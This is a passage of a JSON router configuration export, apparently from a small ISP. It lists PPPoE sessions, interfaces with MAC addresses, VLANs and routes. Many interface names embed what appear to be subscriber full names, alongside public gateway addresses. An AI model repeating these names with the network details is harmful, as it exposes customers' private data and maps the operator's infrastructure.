"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.66",
"interface": "<pppoe-michaeltalbot>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.15",
"interface": "<pppoe-scottarmstrong>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.68",
"interface": "<pppoe-donnance>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.46",
"interface": "<pppoe-kellygarza>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.44",
"interface": "<pppoe-stevechristiaens>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.24",
"interface": "<pppoe-penneywarner>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether3-climax-11ghz",
"type": "ether",
"mac": "78:9A:18:52:B1:BF",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-switch",
"type": "ether",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1-verona-tower-switch",
"type": "ether",
"mac": "78:9A:18:52:B1:CD",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-allentaylor2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-allentaylor>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-almaacosta>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-amberkrings>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-austinwatkins>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-barbihardin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-billmctee>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bradslate>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cherieeshelman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chrissyeagle2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chrissyeagle>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-crankkeith>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-dananance>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-davidlanman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-debravega>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-dejadodson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-donnance>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-dougstowe>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ericbarrett>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jacquelinewilder>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joeywhitfield>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-judydevine>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-karenstewart>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-keithtucker>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kellygarza>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kimberlyrichards2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kimberlyrichards>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kirkvanmeter>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-krystabates>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariatrejo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-markfisher>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-maryhopper>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-michaeltalbot>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nathanmctee>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-pablohernandez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-pambanschbach>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-penneywarner>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ronlewis>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-scottarmstrong>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-sherryerichardson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-srireddy>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-stevechristiaens>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-stevenspurgers>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-teresarobinson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-tjbanschbach>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-vancepeltonen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-whiteywhite>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-williamarmstrong>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-yolandamedrano>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "cpe_vlan_10",
"type": "bridge",
"mac": "78:9A:18:52:B1:C6",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "82:B3:60:CE:62:81",
"comment": "",
"mtu": "auto"
},
{
"name": "public_vlan_100",
"type": "bridge",
"mac": "82:B3:60:CE:62:81",
"comment": "",
"mtu": 1500
},
{
"name": "temp",
"type": "bridge",
"mac": "26:46:20:4A:56:C4",
"comment": "",
"mtu": "auto"
},
{
"name": "verona",
"type": "bridge",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vlan9_sfpplus1",
"type": "vlan",
"mac": "78:9A:18:52:B1:CD",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether6",
"type": "vlan",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_19_ether6",
"type": "vlan",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vxlan-380",
"type": "vxlan",
"mac": "26:46:20:4A:56:C4",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan9_sfpplus1",
"vlan_id": 9,
"interface": "sfp-sfpplus1-verona-tower-switch"
},
{
"name": "vlan10_ether15",
"vlan_id": 10,
"interface": "ether15_wave_n"
},
{
"name": "vlan10_sfpplus2",
"vlan_id": 10,
"interface": "sfp-sfpplus2-switch"
},
{
"name": "vlan_10_ether6",
"vlan_id": 10,
"interface": "verona"
},
{
"name": "vlan_19_ether6",
"vlan_id": 19,
"interface": "ether6-switch"
}
],
"pppoe_servers": [
{
"service_name": "verona",
"interface": "verona"
},
{
"service_name": "altoga",
"interface": "vlan_19_ether6"
}
],
"routes": [
{
"destination": "10.0.16.1/32",
"gateway": "204.110.188.225",
"distance": 1,
"comment": ""
},
{
"destination": "10.0.16.10/32",
"gateway": "204.110.188.225",
"distance": 1,
"comment": ""
},
{
"destination": "10.0.16.84/32",
"gateway": "204.110.188.225",
"distance": 1,
"comment": ""
},
{
"destination": "10.43.0.0/16",
"gateway": "204.110.191.1",
"distance": 1,
"comment": ""
}
]
}